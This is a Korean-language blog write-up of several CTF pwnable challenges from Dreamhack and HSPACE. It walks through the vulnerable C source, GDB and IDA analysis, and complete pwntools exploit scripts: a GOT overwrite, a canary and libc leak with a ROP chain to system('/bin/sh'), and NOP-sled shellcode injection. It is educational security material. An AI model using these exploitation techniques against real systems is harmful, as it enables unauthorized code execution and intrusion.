[Layer7] Pwnable 4차시 문제 풀이

2025. 11. 5. 23:55·과제

1. ssp_000

이 문제는 Stack Smashing Protector 기법으로 보호되어 있는 프로그램에서 get_shell 함수를 사용하여 프로그램의 쉘을 얻는 문제이다. 단순 다른 카나리 문제와 똑같이 생각할 수도 있지만 이 문제는 다른 카나리 문제들과는 다르게 카나리를 우회하는 것이 아니라 이용하는 것이다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr; // rbp-0x60
    long value; // rbp-0x58
    char buf[0x40] = {}; // rbp-0x50

    initialize();

    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

위 코드는 프로그램의 소스코드이다. 여기서 우리가 주목해서 봐야 할 부분은 read 함수, scanf 함수가 있다. 먼저 buf에 입력받는 read 함수를 확인해 보자.

 

	read(0, buf, 0x80);

 

buf의 사이즈는 0x40이지만 read는 총 0x80까지 읽어 들여서 버퍼 오버플로가 가능해진다. 일단 이 read 함수로 카나리 값을 변경시킬 수 있다는 것을 알 수 있다.

 

 

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

 

문제는 그 다음이다. scanf 함수를 이용해 Addr과 Value를 입력받고 입력된 주소가 위치한 값을 입력한 값으로 대입한다. 단순히 다른 카나리 문제처럼 Canary Leak을 하고 그 값을 통해 복귀 주소를 변경시키는 유형과는 거리가 멀다. 여기서 생각을 깊게 해 보면 특정 함수의 주소를 Addr로 넣고 값을 get_shell 함수의 주소로 하면 그 특정 함수가 실행되었을 때 get_shell 함수가 실행되는 GOT Overwrite가 발생할 수 있다. 

 

 

 

 

여기서 참고로 설명하자면 GOT Overwrite란 특정 함수의 실제 주소가 들어가 있는 GOT Table의 요소를 변경하여 특정 함수가 실행되고 테이블을 통해 함수 주소를 가져올 때 바꿔치기된 다른 함수가 실행되는 공격 기법이다.

 

GOT란 앞서 설명했 듯 실제 함수의 주소를 저장하는 테이블이다. GOT가 함수 주소를 저장하는 테이블이면 사용자 코드에서 함수를 호출할 때 바로 GOT 테이블을 통해 함수로 이동하는 것으로 이해하기 쉽다. 하지만 현실은 곧 바로 GOT을 통해 이동하는 것이 아니라 PLT를 통해서 실제 함수 주소를 구한 후 GOT 테이블에 저장하며 이동한다.

 

PLT란 외부 라이브러리에 있는 특정 함수의 주소를 구하기 위해서 사용되는 것이다. PLT는 각 함수의 PLT로 구성된 테이블이긴 하지만 그 테이블 요소 안에는 코드로 되어 있다. 이 코드는 그 함수를 처음 실행했는지, 아니면 이미 한 번 이상 실행되었는지에 따라 달라진다. 만약 이미 한 번 이상 실행되었다면 JMP문으로 이동하는 주소는 GOT 테이블에 지정된 실제 함수 주소일 것이다. 그러나 처음 실행하는거라면 GOT 테이블에 지정된 주소가 없으므로 이는 불가하다. 그래서 JMP 문에 들어있는 함수 주소는 _dl_runtime_resolve를 나타낸다. 

 

_dl_runtime_resolve는 간단히 말해서 외부 함수의 주소를 순차적으로 찾는 함수이다. 이 함수의 작동 원리를 간단히 설명하자면 내부엔 함수 이름의 심볼과 외부 라이브러리의 시작 주소, 그 주소와 떨어진 거리를 나타내는 함수의 오프셋들이 불러와져 있다. 이 때 호출된 함수 이름에 따라서 시작 주소에 오프셋을 더해 실제 함수 주소를 구하고 그 주소를 GOT 테이블에다 저장한다. 이 후 함수가 실행되고 나중에 다시 호출하게 될 땐 GOT 테이블을 통해 이동하게 된다.

 

이제 어떻게 익스플로잇을 할 지 알 수 있다. Addr을 입력하는 부분에 해당 함수의 GOT 테이블 요소를 넣은 다음, Value에는 그 요소에 넣을 get_shell 주소를 넣으면 된다. 그러면 Addr에 어떤 함수를 넣어야 할 지 궁금할 수도 있다. 입력을 받은 후, 실제로 호출할 함수가 필요한데 C언어 코드에서는 대입을 한 후, 호출되는 함수를 찾을 수 없다. 이 때는 GDB를 사용해 어셈블리 레벨로 그 뒤에 호출되는 함수가 있는 지 확인해야 한다.

 

 

main+151을 확인해보자. 여기에 있는 scanf 호출 코드는 Value를 받아오는 scanf의 호출 코드라는 것을 쉽게 알 수 있다. 그러면 이 뒤에 함수가 호출되는 지 확인해야 한다. 눈이 좋은 사람은 여기에 __stack_chk_fail이 호출되는 것을 볼 수 있다. __stack_chk_fail 함수는 카나리가 침범 당해 값이 변경됐을 시 Stack Smashing 경고를 출력하며 프로그램을 강제 종료하는 함수이다. 이 특징을 이용하여 __stack_chk_fail의 got 테이블 요소를 get_shell 주소로 바꾸고 실제로 실행시켜 쉘을 얻을 수 있다.

 

from pwn import *

context.log_level = "debug"

# p = process("./ssp_000")
p = remote("host1.dreamhack.games", 10211)
elf = ELF("./ssp_000")

payload = b"A" * 0x50 + b"B" * 0x8

addr_pl = str(elf.got["__stack_chk_fail"]).encode()
value_pl = str(elf.symbols["get_shell"]).encode()


pause()
p.sendline(payload)
p.sendlineafter(b"Addr : ", addr_pl)
p.sendlineafter(b"Value : ", value_pl)

pause()

p.interactive()

 

이 코드를 보면 read 함수에서 값을 읽을 때 수많은 더미 데이터를 넣어서 카나리 값을 강제로 변경 시키고 Addr에 got 주소와 Value에 get_shell 주소를 넣는 것을 볼 수 있다.

 

이 코드를 작성하면서 헷갈렸던 것은 바로 scanf 함수의 입력 방식이었다. 원래 나는 scanf 함수가 정수형 그 자체로는 못 받는다는 것을 알고 있었다. 그러나 정수형 바이트까지 못 받을거라 생각 못했다. 그래서 p64(elf.got) 형식으로 계속 보내왔어서 해결하지 못했었다. 그러나 정수형 바이트도 결국 정수형이라는 것을 깨닫고 문자열 바이트로 변환하여 보냈더니 성공적으로 프로그램의 쉘을 얻을 수 있었다.

 

 

 

 

3. memory_leakage

이 문제는 간단히 로컬 내에 있는 플래그 파일을 특정 버퍼에 넣은 다음 유저의 이름과 나이를 입력 받는 프로그램이다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

FILE *fp;

struct my_page {
	char name[16];
	int age;
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
	struct my_page my_page;
	char flag_buf[56];
	int idx;

	memset(flag_buf, 0, sizeof(flag_buf));
	
	initialize();

	while(1) {
		printf("1. Join\n");
		printf("2. Print information\n");
		printf("3. GIVE ME FLAG!\n");
		printf("> ");
		scanf("%d", &idx);
		switch(idx) {
			case 1:
				printf("Name: ");
				read(0, my_page.name, sizeof(my_page.name));

				printf("Age: ");
				scanf("%d", &my_page.age);
				break;
			case 2:
				printf("Name: %s\n", my_page.name);
				printf("Age: %d\n", my_page.age);
				break;
			case 3:
				fp = fopen("/flag", "r");
				fread(flag_buf, 1, 56, fp);
				break;
			default:
				break;
		}
	}

}

 

위 코드는 문제 프로그램의 소스 코드이다. 구조체가 있고 그 구조체 멤버에 이름과 나이를 담는 것을 확인할 수 있다. 보면 이름을 입력 받을 때 sizeof를 사용하여 크기를 정해줘서 이름을 통해 오버플로우를 일으키는 것은 불가하다. 그렇다면 이를 오버플로우 시키기 위해서는 나이를 입력 받는 코드를 이용하여 버퍼의 플래그 값을 노출시켜야 한다.

 

메모리에서 이름과 나이의 위치와 플래그 버퍼의 위치가 어디인지 확인해보기 위해 GDB를 켜보자.

 

 

?????

 

실행이 안된다. gdb를 사용하지 않고 그냥 실행해도 오류 메시지만 내뱉을 뿐 실행되지 않는다. gdb로 볼 수 없다면 IDA를 사용하여 확인해보자.

 

 

IDA를 사용하여 main 함수를 디컴파일하면 위와 같은 코드가 보일 것이다. 참 감사하게도 IDA에서 디컴파일을 하면 선언된 변수 옆에 주석으로 ebp와 떨어진 위치를 나타내준다. 이를 이용하여 어떻게 구조가 이루어졌는지 확인해보자.

 

보면 이름을 입력하는 버퍼는 ebp-0x58, 나이를 입력하는 버퍼는 ebp-0x48, 플래그가 저장되어 있는 버퍼는 ebp-0x44이다.

 

 

 

위 이미지와 같은 구조로 이루어져 있다. 즉, 각 버퍼가 완전히 붙어 있다는 것이다. 그러므로 Name 버퍼와 Age 버퍼를 모두 채워주면 Name 버퍼를 출력할 때 플래그 버퍼까지 출력하게 된다.

 

 

위 이미지에서 볼 수 있다시피 16 바이트 사이즈인 이름 버퍼를 채우기 위해 A를 16번 입력한다. 그리고 Age를 모두 채우기 위해서 -1을 입력한다. 컴퓨터에서 음수는 보수화로 인해 -1이면 0xFFFFFFFF로 인식하기 때문에 이를 통해 모든 버퍼를 채울 수 있다. 그리고 3번을 입력하여 버퍼에다 플래그 값을 넣고 출력을 하면 플래그 값까지 함께 나온다.

 

 

 

4. Period

이 문제는 마침표가 나올 때까지 입력 받고 출력하는 프로그램이다. 또한 이 문제에선 C언어 코드가 주어지지 않기 때문에 IDA를 활용해서 코드를 자세히 봐야한다. 리버싱한 문제 소스코드를 확인해보자.

 

unsigned __int64 run()
{
  int v1; // [rsp+Ch] [rbp-114h]
  _BYTE value[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  writeln((__int64)"Mirin, It's the End of Period with Period.");
  value[0] = 46;
  while ( 1 )
  {
    while ( 1 )
    {
      writeln((__int64)"1: read.");
      writeln((__int64)"2: write.");
      writeln((__int64)"3: clear.");
      write(1, "> ", 2u);
      v1 = readint();
      if ( v1 != 3 )
        break;
      cleara(value, 0x100);
    }
    if ( v1 > 3 )
      break;
    if ( v1 == 1 )
    {
      writeln((__int64)"Read: .");
      writeln((__int64)value);
    }
    else
    {
      if ( v1 != 2 )
        break;
      writeln((__int64)"Write: .");
      readln((__int64)value);
    }
  }
  writeln((__int64)"Invalid Command.");
  writeln((__int64)"Finally, Just Watch the Curtain Fall.");
  return v3 - __readfsqword(0x28u);
}

 

이 코드를 보면 1번을 입력했을 시 버퍼에 값을 읽고, 2번을 입력했을 시 버퍼에 값을 넣는다. 그리고 3번을 입력했을 시, 버퍼에 모든 값을 마침표로 채운다. 여기서 어떻게 입력 받고 출력되는 지 자세히 보기 위해 사용자 지정 함수를 확인해보자.

 

__int64 __fastcall readln(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    read(0, (void *)(i + a1), 1u);
    result = *(unsigned __int8 *)(i + a1);
    if ( (_BYTE)result == 46 )
      break;
  }
  return result;
}

 

readln 함수를 보면 최대 256만큼 각 문자 당 read 함수를 통해 입력 받는 것과 입력 중간에 46 (마침표) 이 입력되면 입력을 중단한다는 것을 알 수 있다. 이를 통해 우리가 페이로드를 작성하고 입력을 끝마치기 위해서 마지막에 마침표를 입력해야 한다는 것 또한 알 수 있다.

 

ssize_t __fastcall writeln(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    write(1, (const void *)(i + a1), 1u);
    if ( *(_BYTE *)(i + a1) == 46 )
      break;
  }
  return write(1, &unk_2008, 1u);
}

 

writeln 함수이다. 이 함수도 readln과 같이 한 문자 당 write 함수로 출력하여 마침표가 중간에 나오면 출력을 중단한다. 그러나 여기서 가장 중요한 취약점이 있다. 바로 for문을 호출할 때 범위를 지정하지 않아서 이론상 마침표가 없다면 계속 그 다음 메모리에 있는 바이트를 출력할 수 있다는 얘기이다. 이를 통해 우리는 카나리를 얻고 나중에 NX 등 여러 보호 기법을 우회하기 위한 ROP의 libc base 주소를 구할 때 사용할 수 있다.

 

어떻게 페이로드를 구상할지 먼저 정해보자. 일단 먼저  "2."을 입력하여 가능한 모든 버퍼를 채운다. 이러면 버퍼에는 마침표가 존재하지 않아서 입력한 더미 데이터 그 밖에 있는 여러 데이터 정보도 나올 것이다. 그 중 카나리를 가져와서 복귀 주소에 특정 주소를 입력할 수 있게 해준다. 

 

여기서 우리가 그동안 배워온 지식으로는 어떻게 할지 막힐 수가 있다. 왜냐하면 복귀 주소에 넣을 사용자 지정 플래그 읽기 함수나 쉘 함수가 없기 때문이다. 이를 타파하기 위해서 우리는 이전 스택 프레임에서 push되어 있는 __libc_start_main 함수를 이용할 수 있다. __libc_start_main 함수는 libc 즉, C언어 외부 라이브러리들에서 정의되어 있는 함수로 main 함수를 실행시키는데 기여한다. 이 떄 우리는 __libc_start_main 함수가 libc에 정의되어 있다는 것에 초점을 맞춰야 한다.

 

libc는 C언어의 표준 외부 라이브러리로 이곳에선 read나 write, system 등 여러 함수가 정의되어 있다. 우리가 처음 함수를 실행할 때 runtime_resolve를 통해서 외부 함수를 찾는데 이 때 함수를 찾는 곳이 libc인 것이다. 따라서 libc의 주소만 얻는다면 이를 이용해 각 심볼 오프셋으로 실제 C언어 함수의 주소를 구할 수 있다. 

 

우리에게 필요한 함수는 쉘을 실행시킬 수 있는 system 함수이다. 이 system 함수는 하나의 인자를 받아서 명령을 수행한다. 시스템 함수를 통해 쉘을 얻으려면 아래와 같이 작성할 수 있다.

system("/bin/sh");

 

그러면 libc 베이스 주소를 구하고 그 주소와 오프셋을 통해 실제 시스템 주소를 얻을 수 있다는 것을 알았다. 그러면 인자를 시스템 함수로 주기 위해서는 어떤 방법을 써야 할까?

 

이 프로그램의 아키텍처를 보면 x86-64이다. 즉, SYSV 인자 전달 방식을 사용해서 첫 번째 인자부터 시작해 RDI, RSI, RDX.. 등으로 인자를 전달한다는 것이다. 이 말에 따르면 결국 우린 /bin/sh라는 문자열을 RDI 레지스터로 옮겨야 한다. 

 

이렇게 특정 레지스터에 값을 넣기 위해서 우리는 Return Oriented Programming (ROP) 라는 기법을 활용할 수 있다. 이 기법의 개념을 간단히 말하자면 다음과 같다. 바이너리 파일에는 기계어 (어셈블리어) 로 작성된 수많은 코드 조각이 있다. 이 때 이 코드 조각들은 코드 세그먼트에서 각각의 주소를 가지고 존재한다. 주소가 있다는 것은 우리가 그 주소로 이동하면 코드를 실행할 수 있다는 것이 된다. 

 

이 코드 조각 중 pop rdi와 ret이 있는 가젯 (코드 조각)을 찾아서 이를 달성할 수 있다. pop rdi; ret 가젯을 찾으려고 하는 이유는 pop 명령어는 스택 최상단에 있는 데이터를 빼서 오퍼랜드 (레지스터) 에 넣는다. 이를 통해서 "/bin/sh"가 존재하는 주소를 스택 최상단에 넣고 가젯을 실행하면 RDI에 성공적으로 주소를 넣을 수 있다. 

 

이 과정으로 이 문제를 해결할 페이로드를 작성할 수 있다. 하지만 글을 잘 읽어본 사람은 libc 함수의 오프셋 주소를 어떻게 구할 수 있냐고 물을 수 있다. 이 문제에선 libc 파일이 주어지지 않았다. 단, 이 파일에는 Dockerfile이 주어졌다. 도커 파일은 도커를 실행시킬 수 있게 설정을 하는 파일로서 도커를 통해 원격 서버와 똑같은 환경을 만들어주는 역할을 한다. 즉, 도커 파일에서 기본으로 설정된 libc 파일을 가져오면 원격 서버와 동일한 버전의 libc 파일로 테스트해볼 수 있다는 것이다. (libc 파일은 버전마다 각 함수의 오프셋이 다르다.)

 

아래 이미지와 같이 도커에 들어가서 도커에 있는 파일을 복사하는 docker cp와 바이너리의 libc 주소를 알려주는 ldd 명령어를 통해 우리 환경에서도 libc 파일을 가져올 수 있다. (도커 설치법은 드림핵 참조)

 

 

이제 모든 준비가 완료되었으니 스크립트 코드를 작성해보자.

 

from pwn import *

context.log_level = "debug"

# env = {"LD_PRELOAD": "../libc.so.6"}
# env = {"LD_PRELOAD": "/home/lambda/Documents/Dreamhack/pwnable/period/libc.so.6"}

# glibc 2.35
# p = process("./prob")
# p = process("./prob", env=env)
p = remote("host8.dreamhack.games", 15525)
libc = ELF("../libc.so.6")

payload = b"A" * (0x100)

p.sendafter(b"> ", b"3.")

p.sendafter(b"> ", b"2.")
p.sendline(payload)

# 입력할 때 256을 넘은 상태로 .을 입력하지 않을 시
# 출력할 때는 .의 유무로 출력을 중단하거나 계속하거나 하기 때문에
# .이 없으면 점(42)을 찾을 때까지 계속 출력 

pause()
p.sendafter(b"> ", b"1.")
p.recvuntil(payload, drop=True)
p.recvn(8)

pause()
canary = p.recvn(8)

p.recvn(32 + 16 * 9 + 8)
libc_start_128 = p.recvn(8)
libc_start = u64(libc_start_128) - 128

print(f"libc_start_137: {hex(u64(libc_start_128))}")
print(f"libc_start: {hex(libc_start)}")

libc_base = libc_start - libc.symbols["__libc_start_main"]
print(f"libc_base: {hex(libc_base)}")
print(f"__libc_start_main_offset: {libc.symbols["__libc_start_main"]}")
system_addr = p64(libc_base + libc.symbols["system"])

pop_gadget = p64(libc_base + 0x000000000002a3e5)
# binsh = p64(0x7ffff7db0ebc)
binsh = (libc_base + next(libc.search(b"/bin/sh")))
ret = libc_base + 0x0000000000029cd6

print(f"binsh: {hex(binsh)}")

final_pl = b"A" * 0x18 + canary + b"B" * 0x8
final_pl += pop_gadget + p64(binsh)
final_pl += p64(ret) + system_addr 

print(f"final_pl size: {len(final_pl)}")

pause()
p.sendafter(b"> ", final_pl)
p.sendline(b".")

p.interactive()

 

이 코드를 자세히 보면 한가지 의문점이 들 수 있다. "대체 왜 마지막 페이로드를 작성할 때 쓸 때 없는 리턴만 있는 가젯을 사용한 걸까?" 결론부터 말하자면 Stack alignment를 준수하기 위해서이다. Stack Alignment는 특정 함수를 호출하기 전, RSP가 16 배수로 맞추어졌는지 검사하는 규칙이다. 만약 이 규칙이 어겨진다면 함수를 호출했을 때 movabs가 있는 명령어에서 더 이상 실행이 디버거로 안되거나 쉘이 얻어지지 않을 것이다. 이 배수의 맞추기 위해서 리턴 가젯을 사용했다.

 

Stack Alignment에 대한 내용은 예전에 Ret2Lib을 풀었을 때 정리한 블로그 글에 잘 나와있으니 참고하길 바란다.

https://lambda-c.tistory.com/32#Stack%20Alignment-1-1

 

[Dreamhack] Return To Library Writeup

이 문제는 NX가 적용되어 있는 실행 파일에서 라이브러리에는 실행 권한이 존재한다는 취약점을 활용해 익스폴로잇하는 문제이다. 문제 파일에 있던 C언어 코드는 아래와 같다.// Name: rtl.c// Compil

lambda-c.tistory.com

 

이제를 이 코드를 실행시켜보면 잘 작동하는 것을 확인할 수 있다.

 

 

 

 

Chall 1

이 문제는 HSPACE의 Space Alone에서 만들어진 문제이다. 이 문제는 아이디와 패스워드를 입력한 후, 정해진 파일을 읽는 프로그램이다. 문제의 소스코드를 확인해보자.

 

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>

char id[] = "helloworld";
char pw[] = "plzboft0s0lv3ch4ll";
char flag[] = "w3lcom3_to_pwn4ble_w0r1d";

void flag_finder()
{
    FILE * fp;

    fp = fopen(".TOP_SECRET", "r");

    char data[20] = {0, };

    fread(data, sizeof(char), 19, fp);

    fclose(fp);
    fp = NULL;

    printf("%s\n\n", data);

    printf("Press enter to exit\n");
    getchar();
    getchar();
}

void ascii()
{
    printf("\n");
    printf("   ▄████████ ████████▄    ▄▄▄▄███▄▄▄▄    ▄█  ███▄▄▄▄   \n");
    printf("  ███    ███ ███   ▀███ ▄██▀▀▀███▀▀▀██▄ ███  ███▀▀▀██▄ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("▀███████████ ███    ███ ███   ███   ███ ███▌ ███   ███ \n");
    printf("  ███    ███ ███    ███ ███   ███   ███ ███  ███   ███ \n");
    printf("  ███    ███ ███   ▄███ ███   ███   ███ ███  ███   ███ \n");
    printf("  ███    █▀  ████████▀   ▀█   ███   █▀  █▀    ▀█   █▀  \n");
    printf("                                                       \n");
    printf("\n");
}

void user_ascii()
{
    printf("\n");
    printf("███    █▄     ▄████████    ▄████████    ▄████████ \n");
    printf("███    ███   ███    ███   ███    ███   ███    ███ \n");
    printf("███    ███   ███    █▀    ███    █▀    ███    ███ \n");
    printf("███    ███   ███         ▄███▄▄▄      ▄███▄▄▄▄██▀ \n");
    printf("███    ███ ▀███████████ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀   \n");
    printf("███    ███          ███   ███    █▄  ▀███████████ \n");
    printf("███    ███    ▄█    ███   ███    ███   ███    ███ \n");
    printf("████████▀   ▄████████▀    ██████████   ███    ███ \n");
    printf("                                       ███    ███ \n");
    printf("\n");
}

void file_read(char * path){//make path
    int len = 0;
    char * data;

    FILE * fp;
    fp = fopen(path, "r");

    fseek(fp, 0, SEEK_END);
    len = ftell(fp);
    rewind(fp);

    data = (char*)malloc(sizeof(char) * len);

    if(data == NULL){
        printf("allocate Error\n");
        exit(0);
    }

    fread(data, sizeof(char), len, fp);
    printf("%s\n\n", data);

    free(data);
    data = NULL;

    printf("Press enter to exit\n");
    getchar();
    getchar();

}

void root()
{
    int res;
    while(true){
        system("clear");
        ascii();
        printf("User: admin\n");
        printf("\n");
        printf("1. S/W Info\n");
        printf("2. Check File\n");
        printf("3. Exit\n");

        printf("\n");
        printf("Select Menu: ");
        scanf("%d", &res);

        switch (res)
        {
        case 1:
            system("clear");
            printf("File Viewer\n");
            printf("Version: 3.0.2\n\n");

            printf("Press enter to exit\n");
            getchar();
            getchar();
            break;

        case 2:
            system("clear");
            //flag_finder();
            file_read((char*)".TOP_SECRET");
            break;

        case 3:
            system("clear");
            printf("Goodbye\n");
            exit(0);
            break;

        default:
            printf("Invalid Number\n");
            exit(0);
        }
    }
}

void menu()
{
    int res;

    while (true){
        system("clear");
        user_ascii();
        printf("1. S/W Info\n");
        printf("2. Check File\n");
        printf("3. Exit\n");

        printf("Select Menu: ");
        scanf("%d", &res);

        switch (res)
        {
        case 1:
            system("clear");
            printf("File Viewer\n");
            printf("Version: 3.0.2\n");
            printf("Press enter to exit\n\n");
            getchar();
            getchar();
            break;
        case 2:
            system("clear");
            file_read((char*)".SECRET");
            break;

        case 3:
            system("clear");
            printf("Goodbye\n");
            exit(0);
            break;

        default:
            printf("Invalid Number\n");
            break;
        }
    }

}

int main()
{
    int cmp1 = 3, cmp2 = 3, cmp3 = 3, cmp4 = 3;
    char admin[10] = "deny", id_input[20], pw_input[20];

    system("clear");

    printf("ID: ");
    scanf("%s", id_input);
    printf("PASSWORD: ");
    scanf("%s", pw_input);
    sleep(1);
    if(strncmp(id_input, "admin", 5) == 0) printf("%s\n", admin);
    sleep(1);

    cmp1 = strncmp(id, id_input, 10);
    cmp2 = strncmp(pw, pw_input, 19);
    cmp3 = strncmp(id_input, "admin", 5);
    cmp4 = strncmp(admin, "confirm", 7);

    if(cmp1 == 0 && cmp2 == 0){
        printf("Wellcome Back!\n");
        menu();
        exit(0);
    }

    if(cmp3 == 0 && cmp4 == 0){
        system("clear");
        printf("Redirect to Admin page\n");

        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");
        sleep(1);
        printf(".......\n");

        system("clear");

        root();

        exit(0);
    }


    return 0;
}

 

위 코드를 보면 이 문제에서 플래그를 얻으려면 어드민 계정으로 들어가서 파일을 읽어야 한다는 것을 알 수 있다. 여기서 어드민 계정을 어떻게 들어갈 수 있는 지 확인하기 위해서 어셈블리 코드를 확인해보자.

 

   0x000000000000194f <+89>:    lea    rax,[rbp-0x30]
   0x0000000000001953 <+93>:    mov    rsi,rax
   0x0000000000001956 <+96>:    lea    rax,[rip+0xef2]        # 0x284f
   0x000000000000195d <+103>:   mov    rdi,rax
   0x0000000000001960 <+106>:   mov    eax,0x0
   0x0000000000001965 <+111>:   call   0x1230 <__isoc99_scanf@plt>
   0x000000000000196a <+116>:   lea    rax,[rip+0xee1]        # 0x2852
   0x0000000000001971 <+123>:   mov    rdi,rax
   0x0000000000001974 <+126>:   mov    eax,0x0
   0x0000000000001979 <+131>:   call   0x11c0 <printf@plt>
   0x000000000000197e <+136>:   lea    rax,[rbp-0x50]
   0x0000000000001982 <+140>:   mov    rsi,rax
   0x0000000000001985 <+143>:   lea    rax,[rip+0xec3]        # 0x284f
   0x000000000000198c <+150>:   mov    rdi,rax
   0x000000000000198f <+153>:   mov    eax,0x0
   0x0000000000001994 <+158>:   call   0x1230 <__isoc99_scanf@plt>

 

위 어셈블리 코드에 두 scanf를 확인해보자. 첫 번째 scanf는 id를 입력할 때 쓰는 함수이다. 그러므로 id의 버퍼는 rbp-0x30에 있다는 것을 확인할 수 있다. 두 번째 scanf는 password를 입력할 때 쓰는 함수로 password의 버퍼는 rbp-0x50에 있는 것을 알 수 있다.

 

아무리 우리가 버퍼를 알아냈다고 해서 정석적인 방법으로 Passowrd를 알아내 접속할 순 없을 것이다. 그러므로 이 코드에서 로그인에 성공했을 시 변화하는 문자열 변수를 confirm으로 변경하여 어드민 계정으로 접속해야 한다.

 

그러면 이 문자열 변수는 어디에 위치해 있냐고 물어볼 수 있다.

 

   0x0000000000001a32 <+316>:   lea    rax,[rbp-0x1a]
   0x0000000000001a36 <+320>:   mov    edx,0x7
   0x0000000000001a3b <+325>:   lea    rcx,[rip+0xe21]        # 0x2863
   0x0000000000001a42 <+332>:   mov    rsi,rcx
   0x0000000000001a45 <+335>:   mov    rdi,rax
   0x0000000000001a48 <+338>:   call   0x1170 <strncmp@plt>

 

여기서 strncmp 함수를 통해서 문자열 변수가 rbp-0x1a에 위치해 있다는 것을 알 수 있다. 이를 토대로 계산해서 페이로드를 아래와 같이 작성할 수 있다.

 

adminAAAAAAAAAAAAAAAAAconfirm

 

 

 

Chall 2

이 문제는 시리얼 키를 입력하여 프로그램이 생성한 키와 동일하면 파일을 출력하는 프로그램이다. 그러나 이 프로그램에서는 시리얼 키를 이용해서 익스플로잇하지 않아도 된다. 문제 코드를 확인해보자.

 

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

int cmp = 0xfffff, num = 0;
char srl[30] = "3t267s77wh2djfi3mid2od2o329dw";

void dec(char * ptr, int len)
{
    for(int i = 0; i < len; i++){
        ptr[i] ^= 0x40;
    }
}

void print_file()
{
    FILE * fp;
    int flsz = 0;
    char * file = 0;

    printf("Wait until decode\n");

    sleep(3);

    fp = fopen(".Real_Top_Secret", "rb");

    fseek(fp, 0, SEEK_END);
    flsz = ftell(fp);
    rewind(fp);

    file = malloc(sizeof(char)*flsz+1);
    memset(file, 0, flsz+1);

    fread(file, flsz, 1, fp);

    dec(file, flsz);

    system("clear");

    printf("--------------------------------------------------------------------------\n");
    printf("%s\n", file);
    printf("--------------------------------------------------------------------------\n");

    fclose(fp);
    free(file);
    file = NULL;

    if(getchar() != 0){
        system("clear");
    }

    free(file);
    file = NULL;
}


int main()
{
    char serial[256] = {0, };

    printf("Serial Number: ");
    gets(serial);

    if(strlen(serial) == 29){
        cmp = strcmp(serial, srl);
        if(cmp == 0){
            printf("Welcome Back!\n");
            print_file();
            goto end;
        }
    }

    end:
    return 0;
}

 

여기에서 시리얼 코드를 입력 받는 부분인 gets 함수를 확인해보면 길이 제한 없이 입력할 수 있다는 것을 알 수 있다. 이를 통해 버퍼 오버플로우 취약점을 활용해서 익스플로잇할 수 있다. 여기서 버퍼 오버플로우를 통해 반환 주소를 변경시킬 수 있지만 쉘을 실행시킬 것이 없다. 한 번 checksec을 사용하여 어떤 보호 기법이 있는지 확인해보자.

 

Decoding_for_Escape@hsapce-io:~$ checksec ./File_Decoder
[*] '/home/Decoding_for_Escape/File_Decoder'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

 

보면 NX가 존재하지 않는다! 그러므로 쉘 코드를 이용하여 쉘을 얻을 수 있다. 아래는 이를 이용하여 익스플로잇한 스크립트 코드이다.

 

from pwn import *

context.arch = "i386"
context.log_level = "debug"

p = process(["./File_Decoder"],  stdin=PTY, stdout=PTY)
e = ELF("./File_Decoder")

sc = asm(shellcraft.sh())
payload = b'\x90' * (0xb0 - len(sc))
payload += sc
payload += b'A' * 0x50
payload += b'B' * 0xc
payload += p32(0xffffd400)

p.sendlineafter(b"Serial Number:", payload)

p.interactive()

 

이 코드에서 쉘 코드를 사용할 땐 편하고자 shellcraft를 사용해서 만들었다. 또한 쉘 코드를 실행시키려면 그 쉘 코드가 위치해 있는 주소를 알아야 한다. 그러나 직접적으로 알려주지 않기 때문에 대략적인 주소를 유추해야 한다. 대략적인 주소를 알아내도 그 코드의 시작 주소를 정확히 맞추는 것은 매우 힘들기 때문에 이를 해결하기 위해서 대부분의 주소를 NOP으로 채워둔다. 이렇게 대부분을 NOP으로 채워주면 만약 이 주소가 정확한 복귀 주소를 가리키지 않더라도 NOP을 가리킨다면 그 NOP을 계속 타고가 쉘 코드가 실행된다.

 

나머지는 버퍼를 채우기 위해 사용된 더미 데이터이다.

 

코드를 보면 특이한 점이 있을텐데 바로 stdin=PTY, stdout=PTY이다. 원래 처음에는 stdin와 stdout을 사용하지 않고 실행시켰다. 그러나 실행 중 코드가 멈추면서 더 이상 실행되지 않았던 것이다. 그래서 여러 가지 정보를 인터넷에서 찾아본 결과, PTY를 통해 프로그램 내부 가상 터미널을 열어서 쉘을 실행시켜야 했던 것이다. 아마 이에 대해서는 더 자세히 조사해봐야할 것 같다.

 

 

Chall 3

